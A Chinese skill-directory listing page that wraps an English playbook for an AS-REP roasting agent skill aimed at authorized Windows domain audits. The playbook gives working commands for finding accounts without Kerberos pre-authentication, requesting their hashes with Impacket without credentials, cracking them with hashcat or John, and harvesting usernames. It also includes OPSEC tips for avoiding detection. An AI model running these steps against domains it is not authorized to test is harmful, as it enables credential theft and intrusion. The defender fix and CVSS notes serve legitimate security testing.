跳到正文
Skillpedia
安全6.5k · #13936

asrep-roasting

它能做什么

本技能讲解如何在域中找出不需要预认证的用户账户,并对其进行离线测试。适合获准审计 Windows 域的安全人员。

适用场景

  • ✓当安全测试人员想找出不需要 Kerberos 预认证的域账户时。
  • ✓当智能体需要检查域控制器是否会为这些账户返回登录数据时。
  • ✓当报告需要说明此类账户上弱密码的风险时。

技能链接

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/ad/asrep-roasting/SKILL.md

复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。

使用方法

最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。

可直接粘贴的消息

请用这个技能帮我:https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/ad/asrep-roasting/SKILL.md 阅读该链接中的 SKILL.md 文件,并在我的任务中按照它的说明来做。
想让你的 AI 自己找到这样的技能吗?安装免费的 Skillpedia MCP:只需一行,每次任务前它都会在 15,000+ 个技能中搜索。1 分钟完成安装 →

可以这样问 AI

“你能在我们获得授权的测试域中找出任何不需要 Kerberos 预认证的账户吗?”

每周 5 个新技能,1 分钟读完。

工作原理

智能体会通过目录查询或安全图谱找到匹配的账户,然后运行请求工具,并记录返回的内容以便离线检查。

技术内容(原始 SKILL.md)

作者在 GitHub 上的英文原文。

AS-REP Roasting Playbook

Prerequisite

None — no valid domain account needed. Network reachability to a DC on TCP/UDP 88 is enough. This makes AS-REP roast more powerful than kerberoast in some engagements (zero-auth pre-recon win).

1. Identify vulnerable users

In a hosted engagement, inspect the authorized collection through bloodhound_mcp_find_objects and bloodhound_mcp_object_profile, or use a bounded read-only bloodhound_mcp_cypher_query when the semantic tools do not expose the required account flag. Confirm collection coverage first. In standalone OSS, use the registered bhce_cypher tool against that instance.

Direct LDAP (if you have any cred or anonymous-bind allowed):

ldapsearch -x -H ldap://DC_IP -D 'USER@DOM' -w 'PASS' \
  -b 'DC=corp,DC=local' \
  '(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))' \
  sAMAccountName

Or brute-force user discovery (only when no LDAP access):

# Username list from OSINT, kerbrute validates which exist
kerbrute userenum --dc DC_IP -d DOM users.txt

2. Request AS-REP

Impacket (zero-auth path):

GetNPUsers.py DOM/ -dc-ip DC_IP -usersfile /tmp/users.txt \
  -format hashcat -no-pass -outputfile /tmp/asrep.hashes

With creds (more reliable, also enum):

GetNPUsers.py DOM/USER:'PASS' -dc-ip DC_IP -request \
  -format hashcat -outputfile /tmp/asrep.hashes

Output format: $krb5asrep$23$USER@DOM:<ciphertext> (RC4).

3. Crack offline (hashcat mode 18200)

hashcat -m 18200 -a 0 /tmp/asrep.hashes /usr/share/wordlists/rockyou.txt \
        --rules-file /usr/share/hashcat/rules/best64.rule

# John alternative
john --wordlist=rockyou.txt --format=krb5asrep /tmp/asrep.hashes

AS-REP-roastable users tend to be:

  • Legacy service accounts (sysadmin set DONT_REQ_PREAUTH to "fix" a ticket issue in 2014, never reverted)
  • Test / dev accounts with weak passwords
  • Accounts created from a misconfigured PowerShell script

Crack rate is typically higher than kerberoast — these users are often forgotten accounts with weak passwords.

4. Userlist sources when zero-auth

Without LDAP, your userlist comes from:

  • kerbrute userenum against common lists (jsmith.txt, statistically-common-usernames)
  • LinkedIn scrape → format conversion (firstname.lastname, flastname)
  • Github commit emails from company orgs
  • Email leaks (HIBP, Dehashed if op-authorized)
  • Subdomain enumeration → username patterns in metadata

5. Promote

kg_add_node(kind="credential", label="USER:CRACKED_PW",
            props={"source":"asrep-roast","preauth":"disabled"})

OPSEC

  • AS-REQ without pre-auth is event 4768 on the DC
  • Defender's tell: 4768 with Pre-Authentication Type=0 (no preauth)
  • Username enum via kerbrute generates 4768 spam — throttle or accept detection if engagement allows
  • A single AS-REP request per known user is quieter than enumeration

CVSS

  • Multiple roastable + crackable: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H = 10.0 (PR:N because no creds needed)
  • One roastable, uncrackable: Informational + fix recommendation

Defender fix

Remove DONT_REQ_PREAUTH flag:

Set-ADAccountControl -Identity USER -DoesNotRequirePreAuth $false

Audit policy: UserAccountControl & 0x400000 should be zero on all real users.

常见问题

这个技能需要在域上登录吗?

该技能称它可以在没有有效账户的情况下工作,但也指出,已登录的测试更为可靠。

该技能依赖什么来找到这些账户?

它使用目录查询,或其指南中所述的 BloodHound 分析工具。

在任何网络上运行都安全吗?

不安全。它只适用于所有者允许你测试的网络。

详情

作者的原始描述

Request AS-REP for accounts with DONT_REQ_PREAUTH set and crack offline — like kerberoast but no auth required.

repo: BitterSecurity/Decepticon

热度

GitHub 星标
6.5k
排名
#13936
许可证
Apache-2.0
更新时间
2026/11/1

这个技能有用吗?

0

登录 后即可投票。

评论

  • …

同一仓库的更多技能

相似技能